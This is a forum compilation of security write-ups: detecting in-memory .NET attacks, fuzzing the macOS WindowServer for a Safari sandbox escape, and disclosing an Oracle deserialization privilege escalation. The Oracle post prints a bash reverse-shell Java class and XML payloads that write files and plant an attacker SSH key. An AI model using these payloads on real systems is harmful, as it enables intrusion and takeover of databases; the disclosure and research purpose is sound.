I’ll leave retrieving the results from the injected assembly as an exercise to the reader, but essentially all you have to do is grab the object and cast it to the correct class to retrieve data from its members. As always, YMMV (your mileage may vary) in your environment. Source Code:https://github.com/malcomvetter/ManagedInjection Sursa: https://medium.com/@malcomvetter/net-process-injection-1a1af00359bc
-
Hunting for In-Memory .NET Attacks Joe Desimone October 10, 2017 In past blog posts, we shared our approach to hunting for traditional in-memory attacks along with in-depth analysis of many injection techniques. As a follow up to my DerbyCon presentation, this post will investigate an emerging trend of adversaries using .NET-based in-memory techniques to evade detection. I’ll discuss both eventing (real-time) and on-demand based detection strategies of these .NET techniques. At Endgame, we understand that these differing approaches to detection and prevention are complimentary, and together result in the most robust defense against in-memory attacks. The .NET Allure Using .NET in-memory techniques, or even standard .NET applications, are attractive to adversaries for several reasons. First and foremost, the .NET framework comes pre-installed in all Windows versions. This is important as it enables the attackers’ malware to have maximum compatibility across victims. Next, the .NET PE metadata format itself is fairly complicated. Due to resource constraints, many endpoint security vendors have limited insight into the managed (.NET) structures of these applications beyond what is shared with vanilla, unmanaged (not .NET) applications. In other words, most AVs and security products don’t defend well against malicious .NET code and adversaries know it. Finally, the .NET framework has built-in functionality to dynamically load memory-only modules through the Assembly.Load(byte[]) function (and its various overloads). This function allows attackers to easily craft crypters/loaders, keep their payloads off disk, and even bypass application whitelisting solutions like Device Guard. This post focuses on the Assembly.Load function due to the robust set of attacker capabilities it supports. .NET Attacker Techniques Adversaries leveraging .NET in-memory techniques is not completely new. However, in the last six months there has been a noticeable uptick in tradecraft, which I’ll briefly discuss to illustrate the danger. For instance, in 2014, DEEP PANDA, a threat group suspected of operating out of China, was observed using the multi-stage MadHatter implant which is written in .NET. More interestingly, this implant exists only in memory after a multi stage Assembly.Load bootstrapping process that begins with PowerShell. PowerShell can directly call .NET methods, and the Assembly.Load function being no exception. It is as easy as calling [System.Reflection.Assembly]::Load($bin). More recently, the OilRig APT Group used a packed .NET malware sample known as ISMInjector to evade signature based detection. During the unpacking routine, the sample uses the Assembly.Load function to access the embedded next stage malware known as ISMAgent. A third example, more familiar to red teams, is ReflectivePick by Justin Warner and Lee Christensen. ReflectivePick allows PowerShell Empire to inject and bootstrap PowerShell into any running process. It leverages the Assembly.Load() method to load their PowerShell runner DLL without dropping it to disk. The image below shows the relevant source code of their tool. It is important to point out that Assembly.Load, being a core function of the .NET framework, is often used in legitimate programs. This includes built-in Microsoft applications, which has led to an interesting string of defense evasion and application whitelisting bypasses. For example, Matt Graeber discovered a Device Guard bypass that targets a race condition to hijack legitimate calls to Assembly.Load, allowing an attacker to execute any unsigned .NET code on a Device Guard protected host. Because of the difficulty in fixing such a technique, Microsoft currently has decided not to service this issue, leaving attackers a convenient “forever-day exploit” against hosts that are hardened with application whitelisting. Casey Smith also has published a ton of research bypassing application whitelisting solutions. A number of these techniques, at their core, target signed Microsoft applications that call the Assembly.Load method with attacker supplied code. One example is MSBuild, which comes pre-installed on Windows and allows attackers to execute unsigned .NET code inside a legitimate and signed Microsoft process. These techniques are not JUST useful to attackers who are targeting application whitelisting protected environments. Since they allow attacker code to be loaded into legitimate signed processes in an unconventional manner, most anti-virus and EDR products are blind to the attacker activity and can be bypassed. Finally, James Forshaw developed the DotNetToJScript technique. At its heart, this technique leverages the BinaryFormatter deserialization method to load a .NET application using only JScript. Interestly enough, the technique under the hood will make a call to the Assembly.Load method. DotNetToJscript opened the door for many new clever techniques for executing unsigned .NET code in a stealthy manner. For example, James demonstrated how to combine DotNetToJScript with com hijacking and Casey’s squiblydoo technique to inject code into protected processes. In another example, Casey weaponized DotNetToJScript in universal.js to execute arbitrary shellcode or PowerShell commands. The number of Microsoft-signed applications that be can be abused to execute attacker code in a stealthy manner is dizzying. Fortunately, the community has been quick to document and track them publically in a number of places. One good reference is Oddvar Moe’s UltimateAppLockerByPassList, and another is Microsoft’s own reference. Detecting .NET Attacks As these examples illustrate, attackers are leveraging .NET in various ways to defeat and evade endpoint detection. Now, let’s explore two approaches to detecting these attacks: on-demand and real-time based techniques. On-Demand Detection On-demand detection leverages snapshot in time type data collection. You don’t need a persistent agent running and collecting data when the attack takes place, but you do need the malicious code running during the hunt/collection time. The trick is to focus on high-value data that can capture actor-agnostic techniques, and has a high signal-to-noise ratio. One example is the Get-InjectedThread script for detecting traditional unmanaged in-memory injection techniques. To demonstrate detecting .NET malware usage of the Assembly.Load function, I leverage PowerShell Empire by Will Schroeder and others. Empire allows you to inject an agent into any process by remotely bootstrapping PowerShell. As you see below, after injection calc.exe has loaded the PowerShell core library System.Management.Automation.ni.dll. This fact alone can be interesting, but a surprisingly large number of legitimate applications load PowerShell. Combining this with process network activity and looking for outliers across all your data may give you better mileage. Upon deeper inspection, we see something even more interesting. As shown below, memory section 0x2710000 contains a full .NET module (PE header present). The characteristics of the memory region are a bit unusual. The type is MEM_MAPPED, although there is no associated file mapping object (Note the “Use” field is empty in ProcessHacker). Lastly, the region has a protection of PAGE_READWRITE, which surprisingly is not executable. These memory characteristics are a side effect of loading a memory-only module with the Assembly.Load(byte[]) method. To automate this type of hunt, I wrote a PowerShell function called Get-ClrReflection which looks for this combination of memory characteristics and will save any hits for further analysis. Below is sample output after running it against a workstation that was infected with Empire. Once again, you will see hits for legitimate applications that leverage the Assembly.Load function. One common false positive is for XmlSerializer generated assemblies. Standard hunt practices apply. Bucket your hits by process name or better yet with a fuzzy hash match. For example, ClrGuard (details next) will give you TypeRef hash with a “-f” switch. Below is an example from Empire. Eventing-Based Detection Eventing based detecting is great because you won’t need luck that an adversary is active while you are hunting. It also gives you an opportunity to prevent attacker techniques in real-time. To provide signals into the CLR on which .NET runs, we developed and released ClrGuard. ClrGuard will hook into all .NET processes on the system. From there, it performs an in-line hook of the native LoadImage() function. This is what Assembly.Load() calls under the CLR hood. When events are observed, they are sent over a named pipe to a monitoring process for further introspection and mitigation decision. For example, Empire’s psinject function can be immediately detected and blocked in real-time as shown in the image below. In a similar manner, OilRig’s ISMInjector can be quickly detected and blocked. Another example below shows ClrGuard in action against Casey Smith’s universal.js tool. While we don’t recommend you run ClrGuard across your enterprise (it is Proof of Concept grade), we hope it spurs community discussion and innovation against these types of .NET attacks. These sorts of defensive techniques power protection across the Endgame product, and an enterprise-grade ClrGuard-like feature will be coming soon. Conclusion It is important to thank those doing great offensive security research who are willing to publish their capabilities and tradecraft for the greater good of the community. The recent advancements in .NET in-memory attacks have shown that it is time for defenders to up their game and go toe-to-toe with the more advanced red teams and adversaries. We hope that ClrGuard and Get-ClrReflection help balance the stakes. These tools can increase a defenders optics into .NET malware activities, and raise visibility into this latest evolution of attacker techniques. Sursa: https://www.endgame.com/blog/technical-blog/hunting-memory-net-attacks
-
- 2
-
-
-
Cracking the Walls of the Safari Sandbox Fuzzing the macOS WindowServer for Exploitable Vulnerabilities July 25, 2018 / Patrick Biernat & Markus Gaasedelen When exploiting real world software or devices, achieving arbitrary code execution on a system may only be the first step towards total compromise. For high value or security conscious targets, remote code execution is often succeeded by a sandbox escape (or a privilege escalation) and persistence. Each of these stages usually require their own entirely unique exploits, making some weaponized zero-days a ‘chain’ of exploits. Considered high risk consumer software, modern web browsers use software sandboxes to contain damage in the event of remote compromise. Having exploited Apple Safari in the previous post, we turn our focus towards escaping the Safari sandbox on macOS in an effort to achieve total system compromise. Using Frida to fuzz the macOS WindowServer from the lockscreen As the fifth blogpost of our Pwn2Own series, we will discuss our experience evaluating the Safari sandbox on macOS for security vulnerabilities. We will select a software component exposed to the sandbox, and utilize Frida to build an in-process fuzzer as a means of discovering exploitable vulnerabilities. Software Sandboxes Software sandboxing is often accomplished by restricting the runtime privileges of an application through platform-dependent security features provided by the operating system. When layered appropriately, these security controls can limit the application’s ability to communicate with the broader system (syscall filtering, service ACLs), prevent it from reading/writing files on disk, and block external resources (networking). Tailored to a specific application, a sandbox will aggressively reduce the system’s exposure to a potentially malicious process, preventing the process from making persistent changes to the machine. As an example, a compromised but sandboxed application cannot ransomware user files on disk if the process was not permitted filesystem access. A diagram of the old Adobe Reader Protected Mode Sandbox, circa 2010 Over the past several years we have seen sandboxes grow notably more secure in isolating problematic software. This has brought about discussion regarding the value of a theoretically perfect software sandbox: when properly contained does it really matter if an attacker can gain arbitrary code execution on a machine? The answer to this question has been hotly debated amongst security researchers. This discussion has been further aggravated by the contrasting approach to browser security taken by Microsoft Edge versus Google Chrome. Where one leads with in-process exploit mitigations (Edge), the other is a poster child for isolation technology (Chrome). As a simple barometer, the Pwn2Own results over the past several years seem to indicate that sandboxing is winning when put toe-to-toe against advanced in-process mitigations. There are countless opinions on why this may be the case, and whether this trend holds true for the real world. To state it plainly, as attackers we do think that sandboxes (when done right) add considerable value towards securing software. More importantly, this is an opinion shared by many familiar with attacking these products. THE (MEMORY CORRUPTION) SAFETY DANCE (13:25) at SAS 2017, by Mark Dowd However, as technology improves and gives way to mitigations such as strict control flow integrity (CFI), these views may change. The recent revelations wrought by Meltdown & Spectre is a great example of this, putting cracks into even the theoretically perfect sandbox. At the end of the day, both sandboxing and mitigation technologies will continue to improve and evolve. They are not mutually exclusive of each other, and play an important role towards raising the costs of exploitation in different ways. macOS Sandbox Profiles On macOS, there is a powerful low-level sandboxing technology called ‘Seatbelt’ which Apple has deprecated (publicly) in favor of the higher level ‘App Sandbox’. With little-to-no official documentation available, information on how to use the former system sandbox has been learned through reverse engineering efforts by the community (1,2,3,4,5, …). To be brief, the walls of Seatbelt-based macOS sandboxes are built using rules that are defined in a human-readable sandbox profile. A few of these sandbox profiles live on disk, and can be seen tailored to the specific needs of their specific application. For the Safari browser, its sandbox profile is comprised of the following to files (locations may vary): /System/Library/Sandbox/Profiles/system.sb /System/Library/StagedFrameworks/Safari/WebKit.framework/Versions/A/Resources/com.apple.WebProcess.sb The macOS sandbox profiles are written in a language called TinyScheme. Profiles are often written as a whitelist of actions or services required by the application, disallowing access to much of the broader system by default. ... (version 1) (deny default (with partial-symbolication)) (allow system-audit file-read-metadata) (import "system.sb") ;;; process-info* defaults to allow; deny it and then allow operations we actually need. (deny process-info*) (allow process-info-pidinfo) ... For example, the sandbox profile can whitelist explicit directories or files that the sandboxed application should be permitted access. Here is a snippet from the WebProceess.sb profile, allowing Safari read-only access to certain directories that store user preferences on disk: ... ;; Read-only preferences and data (allow file-read* ;; Basic system paths (subpath "/Library/Dictionaries") (subpath "/Library/Fonts") (subpath "/Library/Frameworks") (subpath "/Library/Managed Preferences") (subpath "/Library/Speech/Synthesizers") ... Serving almost like horse blinders, sandbox profiles help focus our attention (as attackers) by listing exactly what non-sandboxed resources we can interface with on the system. This helps enumerate relevant attack surface that can be probed for security defects. Escaping Sandboxes In practice, sandbox escapes are often their own standalone exploit. This means that an exploit to escape the browser sandbox is almost always entirely unique from the exploit used to achieve initial remote code execution. When escaping software sandboxes, it is common to attack code that executes outside of a sandboxed process. By exploiting the kernel or an application (such as a system service) running outside the sandbox, a skilled attacker can pivot themselves into a execution context where there is no sandbox. The Safari sandbox policy explicitly whitelists a number of external software attack surfaces. As an example, the policy snippet below highlights a number of IOKit interfaces which can be accessed from the sandbox. This is because they expose system controls that are required by certain features in the browser. ... ;; IOKit user clients (allow iokit-open (iokit-user-client-class "AppleMultitouchDeviceUserClient") (iokit-user-client-class "AppleUpstreamUserClient") (iokit-user-client-class "IOHIDParamUserClient") (iokit-user-client-class "RootDomainUserClient") (iokit-user-client-class "IOAudioControlUserClient") ... Throughout the profile, entries that begin with iokit-* refer to functionality we can invoke via an IOKit framework. These are the userland client (interfaces) that one can use to communicate with their relevant kernel counterparts (kexts). Another interesting class of rules defined in the sandbox profile fall under allow mach-lookup: ... ;; Remote Web Inspector (allow mach-lookup (global-name "com.apple.webinspector")) ;; Various services required by AppKit and other frameworks (allow mach-lookup (global-name "com.apple.FileCoordination") (global-name "com.apple.FontObjectsServer") (global-name "com.apple.PowerManagement.control") (global-name "com.apple.SystemConfiguration.configd") (global-name "com.apple.SystemConfiguration.PPPController") (global-name "com.apple.audio.SystemSoundServer-OSX") (global-name "com.apple.analyticsd") (global-name "com.apple.audio.audiohald") ... The allow mach-lookup keyword depicted above is used to permit the sandboxed application access to various remote procedure call (RPC)-like servers hosted within system services. These policy definitions allow our application to communicate with these whitelisted RPC servers over the mach IPC. Additionally, there are some explicitly whitelisted XPC services: ... (deny mach-lookup (xpc-service-name-prefix "")) (allow mach-lookup (xpc-service-name "com.apple.accessibility.mediaaccessibilityd") (xpc-service-name "com.apple.audio.SandboxHelper") (xpc-service-name "com.apple.coremedia.videodecoder") (xpc-service-name "com.apple.coremedia.videoencoder") ... XPC is higher level IPC used to facilitate communication between processes, again built on top of the mach IPC. XPC is fairly well documented, with a wealth of resources and security research available for it online (1,2,3,4, …). There are a few other interesting avenues of attacking non-sandboxed code, including making syscalls directly to the XNU kernel, or through IOCTLs. We did not spend any time looking at these surfaces due to time. Our evaluation of the sandbox was brief, so our knowledge and insight only extends so far. A more interesting exercise for the future would be to enumerate attack surface that currently cannot be restrained by sandbox policies. Target Selection Having surveyed some of the components exposed to the Safari sandbox, the next step was to decide what we felt would be easiest to target as a means of escape. Attacking components that live in the macOS Kernel is attractive: successful exploitation guarantees not only a sandbox escape, but also unrestricted ring-zero code execution. With the introduction of ‘rootless’ in macOS 10.11 (El Capitan), a kernel mode privilege escalation is necessary to do things such as loading unsigned drivers without disabling SIP. The cons of attacking kernel code comes at the cost of debuggability and convenience. Tooling to debug or instrument kernel code is primitive, poorly documented, or largely non-existent. Reproducing bugs, analyzing crashes, or stabilizing an exploit often require a full system reboot which can be taxing on time and morale. After weighing these traits and reviewing public research on past Safari sandbox escapes, we zeroed in on the WindowServer. A complex usermode system service that was accessible to the Safari sandbox over the mach IPC: (allow mach-lookup ... (global-name "com.apple.windowserver.active") ... ) For our purposes, WindowServer appeared to be nearly an ideal target: Nearly every process can communicate with it (Safari included) It lives in userland, simplifying debugging and introspection It runs with permissions essentially equivalent to root It has a relatively large attack surface It has a notable history of security vulnerabilities WindowServer is a closed-source, private framework (a library) which implies developers are not meant to interface with it directly. This also means that official documentation is non-existent, and what little information is available publicly is thin, dated, or simply incomplete. WindowServer Attack Surface WindowServer works by processing incoming mach_messages from applications running on the system. On macOS, mach_messages are a form of IPC to enable communication between running processes. The Mach IPC is generally used by system services to expose a RPC interface for other applications to call into. Under the hood, virtually every GUI macOS application transparently communicates with the WindowServer. As hinted by its name, the WindowServer system service is responsible for actually drawing application windows to the screen. A running application will tell the WindowServer (via RPC) what size or shape to make the window, and where to put it: The WindowServer renders virtually all desktop applications on macOS For those familiar with Microsoft Windows, the macOS WindowServer is a bit like a usermode Win32k, albeit less-complex. It is also responsible for drawing the mouse cursor, managing hotkeys, and facilitating some cross-process communication (among other many other things). Applications can interface with the WindowServer over the mach IPC to reach some 600 RPC-like functions. When the privileged WindowServer system service receives a mach_message, it will be routed to its respective message handler (a ‘remote procedure’) coupled with foreign data to be parsed by the handler function. A selection of WindowServer mach message handlers As an attacker, these functions prefixed with _X... (such as _XBindSurface) represent directly accessible attack surface. From the Safari sandbox, we can send arbitrary mach messages (data) to the WindowServer targeting any of these functions. If we can find a vulnerability in one of these functions, we may be able to exploit the service. We found that these 600 some handler functions are split among three MIG-generated mach subsystems within the WindowServer. Each subsystem has its own message dispatch routine which initially parses the header of the incoming mach messages and then passes the message specific data on to its appropriate handler via indirect call: RAX is a code pointer to a message handler function that is selected based on the incoming message id The three dispatch subsystems make for an ideal place to fuzz the WindowServer in-process using dynamic binary instrumentation (DBI). They represent a generic ‘last hop’ for incoming data before it is delivered to any of the ~600 individual message handlers. Without having to reverse engineer any of these surface level functions or their unique message formats (input), we had discovered a low-cost avenue to begin automated vulnerability discovery. By instrumenting these chokepoints, we could fuzz all incoming WindowServer traffic that can be generated through normal user interaction with the system. In-process Fuzzing With Frida Frida is a DBI framework that injects a JavaScript interpreter into a target process, enabling blackbox instrumentation via user provided scripts. This may sound like a bizarre use of JavaScript, but this model allows for rapid prototyping of near limitless binary introspection against compiled applications. We started our Frida fuzzing script by defining a small table for the instructions we wished to hook at runtime. Each of these instructions were an indirect call (eg, call rax) within the dispatch routines covered in the previous section. // instructions to hook (offset from base, reg w/ call target) var targets = [ ['0x1B5CA2', 'rax'], // WindowServer_subsystem ['0x2C58B', 'rcx'], // Renezvous_subsystem ['0x1B8103', 'rax'] // Services_subsystem ] The JavaScript API provided by Frida is packed with functionality that allow one to snoop on or modify the process runtime. Using the Interceptor API, it is possible to hook individual instructions as a place to stop and introspect the process. The basis for our hooking code is provided below: function InstallProbe(probe_address, target_register) { var probe = Interceptor.attach(probe_address, function(args) { var input_msg = args[0]; // rdi (the incoming mach_msg) var output_msg = args[1]; // rsi (the response mach_msg) // extract the call target & its symbol name (_X...) var call_target = this.context[target_register]; var call_target_name = DebugSymbol.fromAddress(call_target); // ready to read / modify / replay console.log('[+] Message received for ' + call_target_name); // ... }); return probe; } To hook the instructions we defined earlier, we first resolved the base address of the private SkyLight framework that they reside in. We are then able to compute the virtual addresses of the target instructions at runtime using the module base + offset. After that it is as simple as installing the interceptors on these addresses: // locate the runtime address of the SkyLight framework var skylight = Module.findBaseAddress('SkyLight'); console.log('[*] SkyLight @ ' + skylight); // hook the target instructions for (var i in targets) { var hook_address = ptr(skylight).add(targets[i][0]); // base + offset InstallProbe(hook_address, targets[i][1]) console.log('[+] Hooked dispatch @ ' + hook_address); } During the installed message intercept, we now had the ability to record, modify, or replay mach message contents just before they are passed into their underlying message handler (an _X... function). This effectively allowed us to man-in-the-middle any mach traffic to these MIG subsystems and dump their contents at runtime: Using Frida to sniff incoming mach messages received by the WindowServer From this point, our fuzzing strategy was simple. We used our hooks to flip random bits (dumb fuzzing) on any incoming messages received by the WindowServer. Simultaneously, we recorded the bitflips injected by our fuzzer to create ‘replay’ log files. Replaying the recorded bitflips in a fresh instance of WindowServer gave us some degree of reproducibility for any crashes produced by our fuzzer. The ability to consistently reproduce a crash is priceless when trying to identify the underlying bug. A sample snippet of a bitflip replay log looked like the following: ... {"msgh_bits":"0x1100","msgh_id":"0x7235","buffer":"000000001100000001f65342","flip_offset":[4],"flip_mask":[16]} {"msgh_bits":"0x1100","msgh_id":"0x723b","buffer":"00000000010000000900000038a1b63e00000000"} {"msgh_bits":"0x80001112","msgh_id":"0x732f","buffer":"0000008002000000ffffff7f","ool_bits":"0x1000101","desc_count":1} {"msgh_bits":"0x1100","msgh_id":"0x723b","buffer":"00000000010000000900000070f3a53e00000000","flip_offset":[12],"flip_mask":[2]} {"msgh_bits":"0x80001100","msgh_id":"0x722a","buffer":"0000008002000000dfffff7f","ool_bits":"0x1000101","desc_count":1,"flip_offset":[8],"flip_mask":[32]} ... In order for the fuzzer to be effective, the final step required us to stimulate the system to generate WindowServer message ‘traffic’. This could have been accomplished any number of ways, such as letting a user navigate around the system, or writing scripts to randomly open applications and move them around. But through careful study of pop culture and past vulnerabilities, we decided to simply place a weight on the ‘Enter’ key: 'Advanced Persistent Threat' On the macOS lockscreen, holding ‘Enter’ happens to generate a reasonable variety of message traffic to the WindowServer. When a crash occurred as a result of our bitflipping, we saved the replay log and crash state to disk. Conveniently, when WindowServer crashes, macOS locked the machine and restarted the service… bringing us back to the lockscreen. A simple python script running in the background sees the new WindowServer instance pop up, injecting Frida to start the next round of fuzzing. This was the lowest-effort and lowest-cost fuzzer we could have made for this target, yet it still proved fruitful. Discovery & Root Cause Analysis Leaving the fuzzer to run overnight, it produced a number of unique (mostly useless) crashes. Among the handful of more interesting crashes was one that looked particularly promising but would require additional investigation. We replayed the bitflip log for that crash against a new instance of WindowServer with lldb (the default macOS debugger) attached and were able to reproduce the issue. The crashing instruction and register state depicted what looked like an Out-of-Bounds Read: Process 77180 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (address=0x7fd68940f7d8) frame #0: 0x00007fff55c6f677 SkyLight`_CGXRegisterForKey + 214 SkyLight`_CGXRegisterForKey: -> 0x7fff55c6f677 <+214>: mov rax, qword ptr [rcx + 8*r13 + 0x8] 0x7fff55c6f67c <+219>: test rax, rax 0x7fff55c6f67f <+222>: je 0x7fff55c6f6e9 ; <+328> 0x7fff55c6f681 <+224>: xor ecx, ecx Target 0: (WindowServer) stopped. In the crashing context, r13 appeared to be totally invalid (very large). Another attractive component of this crash was its proximity to a top-level \_X... function. The shallow nature of this crash implied that we would likely have direct control over the malformed field that caused the crash. (lldb) bt * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (address=0x7fd68940f7d8) * frame #0: 0x00007fff55c6f677 SkyLight`_CGXRegisterForKey + 214 frame #1: 0x00007fff55c28fae SkyLight`_XRegisterForKey + 40 frame #2: 0x00007ffee2577232 frame #3: 0x00007fff55df7a57 SkyLight`CGXHandleMessage + 107 frame #4: 0x00007fff55da43bf SkyLight`connectionHandler + 212 frame #5: 0x00007fff55e37f21 SkyLight`post_port_data + 235 frame #6: 0x00007fff55e37bfd SkyLight`run_one_server_pass + 949 frame #7: 0x00007fff55e377d3 SkyLight`CGXRunOneServicesPass + 460 frame #8: 0x00007fff55e382b9 SkyLight`SLXServer + 832 frame #9: 0x0000000109682dde WindowServer`_mh_execute_header + 3550 frame #10: 0x00007fff5bc38115 libdyld.dylib`start + 1 frame #11: 0x00007fff5bc38115 libdyld.dylib`start + 1 Root cause analysis to identify the bug responsible for this crash took only minutes. Directly prior to the crash was a signed/unsigned comparison issue within _CGXRegisterForKey(...): Signed Comparison vulnerability in WindowServer WindowServer tries to ensure that the user-controlled index parameter is six or less. However, this check is implemented as a signed-integer comparison. This means that supplying a negative number of any size (eg, -100000) will incorrectly get us past the check. Our ‘fuzzed’ index was a 32bit field in the mach message for _XRegisterForKey(...). The bit our fuzzer flipped happened to be the uppermost bit, changing the number to a massive negative value: HEX | BINARY | DECIMAL ----------+----------------------------------+------------- BEFORE: 0x0000005 | 00000000000000000000000000000101 | 5 AFTER: 0x8000005 | 10000000000000000000000000000101 | -2147483643 ^ |- Corrupted bit Assuming we can get the currently crashing read to succeed through careful indexing to valid memory, there are a few minor constraints between us and what looks like an exploitable write later in the function: A write of unknown values (r15, ecx) can occur at the attacker controlled Out-of-Bounds index Under the right conditions, this bug appears to be an Out-of-Bounds Write! Any vulnerability that allows for memory corruption (a write) is generally categorized as an exploitable condition (until proven otherwise). This vulnerability has since been fixed as CVE-2018-4193. In the next post, we provide a standalone PoC to trigger this crash and detail the constraints that make this bug rather difficult to exploit while developing our full Safari sandbox escape exploit against the WindowServer. Conclusion Escaping a software sandbox is a necessary step towards total system compromise when exploiting modern browsers. We used this post to discuss the value of sandboxing technology, the standard methodology to escape one, and our approach towards evaluating the Safari sandbox for a means of escaping it. By reviewing existing resources, we devised a strategy to tackle the Safari sandbox and fuzz a historically problematic component (WindowServer) with a very simple in-process fuzzer. Our process demonstrates nothing novel, and that even contrived fuzzers are still able to find critical, real-world bugs. Sursa: http://blog.ret2.io/2018/07/25/pwn2own-2018-safari-sandbox/
-
- 1
-
-
Wednesday, July 18, 2018 Oracle Privilege Escalation via Deserialization TLDR: Oracle Database is vulnerable to user privilege escalation via a java deserialization vector that bypasses built in Oracle JVM security. Proper exploitation can allow an attacker to gain shell level access on the server and SYS level access to the database. Oracle has opened CVE-2018-3004 for this issue. Deserialization Vulnerabilities Java deserialization vulnerabilities have been all the rage for the past few years. In 2015, Foxglove security published an article detailing a critical security vulnerability in many J2EE application servers which left servers vulnerable to remote code execution. There have been a number published exploits relying on Java deserializations since the 2015 Foxglove article, many based on the ysoserial library. There have also been a number of CVEs opened, and patches issued to resolve these defects, including Oracle specific CVEs such as CVE-2018-2628, CVE-2017-10271, CVE-2015-4852 The majority of the published exploits focus on application servers vulnerable to deserialization attacks. Today, however, I would like to explore Oracle Database and how it is vulnerable to a custom deserialization attack based on the tight integration of Java via Java Stored Procedures in Oracle Database. The examples in this post were created using Oracle 12C, however, earlier versions of Oracle Database are also vulnerable. Java Stored Procedures Oracle Enterprise Edition has a Java Virtual Machine embedded into the database and Oracle Database supports native execution of Java via Java Stored Procedures. ? 1 2 3 create function get_java_property(prop in varchar2) return varchar2 is language java name 'java.name.System.getProperty(java.lang.String) return java.lang.String'; / Basic JVM Protections Of course if you have some level of familiarity with Java and penetration testing, you may immediately leap to the notion of creating a reverse shell compiled within Oracle Database: ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 SET scan off create or replace and compile java source named ReverseShell as import java.io.*; public class ReverseShell{ public static void getConnection(String ip, String port) throws InterruptedException, IOException{ Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","0<&126-;exec 126<>/dev/tcp/" + ip + "/" + port + ";/bin/bash <&126 >&126 2>&126"}); System.out.println(p.toString()); p.waitFor(); } } / create or replace procedure reverse_shell (p_ip IN VARCHAR2,p_port IN VARCHAR2) IS language java name 'ReverseShell.getConnection(java.lang.String, java.lang.String)'; / This approach will not work as the Oracle JVM implements fine grain policy-based security to control access to the OS and filesystem. Executing this procedure from a low-permissioned account results in errors. Note the error stack contains the missing permission and command necessary to grant the access: ? 1 2 ORA-29532: Java call terminated by uncaught Java exception: java.security.AccessControlException: the Permission (java.io.FilePermission /bin/bash execute) has not been granted to TESTER. The PL/SQL to grant this is dbms_java.grant_permission( 'TESTER', 'SYS:java.io.FilePermission','/bin/bash', 'execute' ) There have been previously reported methods to bypass the built-in Java permissions which will not be discussed in this post. Instead I am going to demonstrate a new approach to bypassing these permissions via XML deserialization. XML Deserialization XML serialization and deserializtion exist in Java to support cross platform information exchange using a standardized industry format (in this case XML). To this end, the java.beans library contains two classes: XMLEncoder and XMLDecoder which are used to serialize a Java object into an XML format and at a later time, deserialize the object. Typical deserialization vulnerabilities rely on the existence of a service that accepts and deserializes arbitrary input. However, if you have access to a low-privileged Oracle account that can create objects in the user schema (i.e., a user with connect and resource) you can create your own vulnerable deserialization procedure. As the "TESTER" user, I have created the following Java class "DecodeMe" and a Java Stored Procedure that invokes this class: ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 create or replace and compile java source named DecodeMe as import java.io.*; import java.beans.*; public class DecodeMe{ public static void input(String xml) throws InterruptedException, IOException { XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes())); Object object = decoder.readObject(); System.out.println(object.toString()); decoder.close(); } } ; / CREATE OR REPLACE PROCEDURE decodeme (p_xml IN VARCHAR2) IS language java name 'DecodeMe.input(java.lang.String)'; / The decodeme procedure will accept an arbitrary string of XML encoded Java and execute the provided instructions. Information on the proper format for the serialized XML can be found here. This block will simply call println to output data to the terminal. ? 1 2 3 4 5 6 7 8 9 10 BEGIN decodeme('<?xml version="1.0" encoding="UTF-8" ?> <java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.lang.System" field="out"> <void method="println"> <string>This is test output to the console</string> </void> </object> </java>'); END; / The Vulnerability Of course we don't need a deserialization process to print output to the console, so how exactly is this process vulnerable? It turns out that the deserialization process bypasses JVM permission settings and allows a user to arbitrarily write to files on the OS. See the following example script: ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 BEGIN decodeme(' <java class="java.beans.XMLDecoder" version="1.4.0" > <object class="java.io.FileWriter"> <string>/tmp/PleaseDoNotWork.txt </string> <boolean>True</boolean> <void method="write"> <string>Why for the love of god?</string> </void> <void method="close" /> </object> </java>'); END; / Executing this anonymous block creates a file named "PleaseDoNotWork.txt" in the /tmp folder: Therefore via deserialiazation, we can write arbitrary files to the file system, bypassing the built-in security restrictions. Exploitation As it turns out, we can not only write new files to the system, we can also overwrite or append any file on which the Oracle user has write permissions. Clearly this has severe ramifications for the database, as an attacker could overwrite critical files - including control files - which could result in a successful Denial of Service attack or data corruption. However, with a carefully crafted payload, we can use this deserialization attack to gain access to the server as the Oracle user. Assuming SSH is open on the server and configured to accept RSA connections, the following payload will append an RSA token to the Oracle account that manages the database processes. BEGIN AUTHKEY ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 BEGIN decodeme(' <java class="java.beans.XMLDecoder" version="1.4.0"> <object class="java.io.FileWriter"> <string>/home/oracle/.ssh/authorized_keys</string> <boolean>True</boolean> <void method="write"> <string>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCedKQPeoJ1UeJEW6ZVkiuWAxBKW8F4fc0VrWxR5HEgaAcVodhgc6X7klyOWrJceGqICcCZd6K+/lvI3xaE2scJpRZWlcJQNCoZMRfmlhibq9IWMH0dm5LqL3QMqrXzZ+a2dfNohSdSmLDTaFHkzOGKEQIwHCv/e4e/eKnm0fUWHeL0k4KuCn3MQUN1HwoqoCciR0DrBDOYAKHxqpBv9rDneCdvaS+tqlr5eShjNlHv1YzJGb0lZZlsny19is8CkhcZ6+O+UCKoBPrxaGsfipsEIH5aPu9xVA90Xgsakhg4yoy9FLnES+xmnVxKX5GHyixi3qeWGDwBsAvhAAGLxOc5 </string> </void> <void method="close" /> </object> </java> '); END; / When executed, the code will append an arbitrary RSA key to the Oracle users authorized_keys file, granting an attack SSH access as the Oracle user. The Oracle user can access the database as SYS and the attacker has effectively compromised the entire database. Impact As Oracle Database has a high per instance cost, many production architectures rely on a shared-tennant model, where multiple mission applications leverage the same database, and application support users share access to the same system. Furthermore, Oracle Exadata implementations often host multiple database instances on the same severs. If a low privileged user, perhaps a tier-III support admin for a specific application, were to deploy this exploit, they could effectively gain access to the data and applications supporting an entire enterprise. Conclusion As we can see the deserialization design pattern implemented in java continues to create a myriad of vulnerabilities. Security analysts should look beyond J2EE based deserializiation attacks and consider attack vectors based on other embedded implementations. Reporting Timeline. This issue was first reported to Oracle Support in January 2018, and was addressed in the July 2018 CPU released on July 17th, 2018. Update: Navigating the intricacies of Oracle patches can be quite the challenge. The Oracle bug for this vulnerability is Bug 27923353, and 